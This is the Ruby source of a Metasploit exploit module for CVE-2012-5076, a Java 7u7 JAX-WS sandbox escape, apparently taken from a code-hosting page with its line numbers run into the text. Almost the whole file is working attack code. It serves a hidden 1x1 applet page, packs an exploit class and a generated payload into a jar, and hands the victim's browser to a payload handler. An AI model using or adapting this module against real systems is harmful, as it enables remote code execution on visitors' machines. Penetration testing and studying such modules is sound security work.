Path: blob/master/modules/exploits/multi/browser/java_jre17_jaxws.rb
19847 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpServer::HTML910# include Msf::Exploit::Remote::BrowserAutopwn11# autopwn_info({ :javascript => false })1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Java Applet JAX-WS Remote Code Execution',18'Description' => %q{19This module abuses the JAX-WS classes from a Java Applet to run arbitrary Java20code outside of the sandbox as exploited in the wild in November of 2012. The21vulnerability affects Java version 7u7 and earlier.22},23'License' => MSF_LICENSE,24'Author' => [25'Unknown', # Vulnerability Discovery26'juan vazquez' # metasploit module27],28'References' => [29[ 'CVE', '2012-5076' ],30[ 'OSVDB', '86363' ],31[ 'BID', '56054' ],32[ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],33[ 'URL', 'http://malware.dontneedcoffee.com/2012/11/cool-ek-hello-my-friend-cve-2012-5067.html' ],34[ 'URL', 'http://blogs.technet.com/b/mmpc/archive/2012/11/15/a-technical-analysis-on-new-java-vulnerability-cve-2012-5076.aspx' ]35],36'Platform' => %w{java win},37'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },38'Targets' => [39[40'Generic (Java Payload)',41{42'Arch' => ARCH_JAVA,43}44],45[46'Windows Universal',47{48'Arch' => ARCH_X86,49'Platform' => 'win'50}51],52[53'Linux x86',54{55'Arch' => ARCH_X86,56'Platform' => 'linux'57}58]59],60'DefaultTarget' => 0,61'DisclosureDate' => '2012-10-16',62'Notes' => {63'Reliability' => UNKNOWN_RELIABILITY,64'Stability' => UNKNOWN_STABILITY,65'SideEffects' => UNKNOWN_SIDE_EFFECTS66}67)68)69end7071def on_request_uri(cli, request)72if not request.uri.match(/\.jar$/i)73if not request.uri.match(/\/$/)74send_redirect(cli, get_resource() + '/', '')75return76end7778print_status("#{self.name} handling request")7980send_response_html(cli, generate_html, { 'Content-Type' => 'text/html' })81return82end8384paths = [85[ "Exploit.class" ],86[ "MyPayload.class" ]87]8889p = regenerate_payload(cli)9091jar = p.encoded_jar9293paths.each do |path|941.upto(path.length - 1) do |idx|95full = path[0, idx].join("/") + "/"96if !(jar.entries.map { |e| e.name }.include?(full))97jar.add_file(full, '')98end99end100fd = File.open(File.join(Msf::Config.data_directory, "exploits", "cve-2012-5076", path), "rb")101data = fd.read(fd.stat.size)102jar.add_file(path.join("/"), data)103fd.close104end105106print_status("Sending Applet.jar")107send_response(cli, jar.pack, { 'Content-Type' => "application/octet-stream" })108109handler(cli)110end111112def generate_html113jar_name = rand_text_alpha(rand(6) + 3) + ".jar"114html = "<html><head></head>"115html += "<body>"116html += "<applet archive=\"#{jar_name}\" code=\"Exploit.class\" width=\"1\" height=\"1\">"117html += "</applet></body></html>"118return html119end120end121122123